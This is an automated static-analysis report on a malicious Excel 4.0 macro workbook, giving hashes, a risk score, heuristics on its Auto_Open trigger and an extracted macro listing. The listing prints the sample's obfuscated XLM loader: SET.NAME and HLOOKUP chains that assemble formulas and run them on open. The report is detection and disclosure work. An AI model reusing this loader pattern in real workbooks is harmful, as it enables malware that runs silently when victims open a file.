Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9633e3951ed312b3…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:40:50 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 0c4ae2c363d0551ab853f19c7f231cbf SHA-1: 21b17a629afff44f111ddde79d527ebf26a22827 SHA-256: 9633e3951ed312b357e5e582ef8874f8ae39f0e7403075a0723120c6371e7070
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6705 bytes
SHA-256: 74134662d635222c4113c3f029514196beb693626bb2a6ec61ad6369eb00e5fb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VvjWZIag
' 0018     23 LABEL : Cell Value, String Constant - ABPMPNVv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I161 
' 0018     27 LABEL : Cell Value, String Constant - bDmrbRufCtJj len=0 
' 0018     26 LABEL : Cell Value, String Constant - bwIQWIcGSYn len=0 
' 0018     26 LABEL : Cell Value, String Constant - CaXoDhcFpDo len=0 
' 0018     21 LABEL : Cell Value, String Constant - cltahl len=0 
' 0018     26 LABEL : Cell Value, String Constant - eBRCwpEBUbn len=0 
' 0018     21 LABEL : Cell Value, String Constant - ElMMXI len=0 
' 0018     21 LABEL : Cell Value, String Constant - equDHA len=0 
' 0018     22 LABEL : Cell Value, String Constant - HnsKbob len=0 
' 0018     24 LABEL : Cell Value, String Constant - HrtZDhhNj len=0 
' 0018     26 LABEL : Cell Value, String Constant - HTlNMUBrSLL len=0 
' 0018     27 LABEL : Cell Value, String Constant - JogNUwCJmnRt len=0 
' 0018     27 LABEL : Cell Value, String Constant - LaSGIeewfpdF len=0 
' 0018     24 LABEL : Cell Value, String Constant - lxXmhoIez len=0 
' 0018     22 LABEL : Cell Value, String Constant - mkZqgYJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ObFqMHMrfQPj len=0 
' 0018     24 LABEL : Cell Value, String Constant - pPhRlctZu len=0 
' 0018     23 LABEL : Cell Value, String Constant - TgatNtuK len=0 
' 0018     25 LABEL : Cell Value, String Constant - WfhTelWFoK len=0 
' 0018     25 LABEL : Cell Value, String Constant - xxStYDKhpo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VvjWZIag,I72,"SET.NAME("cltahl",VALUE("0"))",""
'  VvjWZIag,I74,"SET.NAME("ObFqMHMrfQPj",cltahl)",""
'  VvjWZIag,I77,"SET.NAME("xxStYDKhpo",cltahl)",""
'  VvjWZIag,I82,"SET.NAME("ABPMPNVv",COUNTA(TgatNtuK))",""
'  VvjWZIag,I84,"SET.NAME("HnsKbob",COUNTA(lxXmhoIez))",""
'  VvjWZIag,I88,[],""
'  VvjWZIag,I92,"SET.NAME("bDmrbRufCtJj","")",""
'  VvjWZIag,I96,"ObFqMHMrfQPj",""
'  VvjWZIag,I99,"SET.NAME("WfhTelWFoK",HLOOKUP("*",TgatNtuK,ObFqMHMrfQPj,FALSE))",""
'  VvjWZIag,I101,"bwIQWIcGSYn",""
'  VvjWZIag,I103,"SET.NAME("LaSGIeewfpdF",cltahl)",""
'  VvjWZIag,I108,[],""
'  VvjWZIag,I110,"LaSGIeewfpdF",""
'  VvjWZIag,I115,"HTlNMUBrSLL",""
'  VvjWZIag,I118,"equDHA",""
'  VvjWZIag,I120,"mkZqgYJ",""
'  VvjWZIag,I124,"SET.NAME("pPhRlctZu",VALUE(HLOOKUP("*",lxXmhoIez,mkZqgYJ,FALSE)))",""
'  VvjWZIag,I128,"JogNUwCJmnRt",""
'  VvjWZIag,I131,"bDmrbRufCtJj",""
'  VvjWZIag,I133,"xxStYDKhpo",""
'  VvjWZIag,I136,NEXT(),""
'  VvjWZIag,I141,"CaXoDhcFpDo",""
'  VvjWZIag,I146,"SET.NAME("f",INT(T(FORMULA(T(bDmrbRufCtJj)&"",""&T(CaXoDhcFpDo)))))",""
'  VvjWZIag,I148,"eBRCwpEBUbn",""
'  VvjWZIag,I152,NEXT(),""
'  VvjWZIag,I156,RETURN(),""
'  VvjWZIag,I188,"SET.NAME("ElMMXI",I72)",""
'  VvjWZIag,I190,"TgatNtuK",""
'  VvjWZIag,I194,"SET.NAME("lxXmhoIez",R81C13)",""
'  VvjWZIag,I197,"SET.NAME("eBRCwpEBUbn",207)",""
'  VvjWZIag,I201,"SET.NAME("HrtZDhhNj",9)",""
'  VvjWZIag,I206,ElMMXI(),""
'  VvjWZIag,I207,HALT(),""

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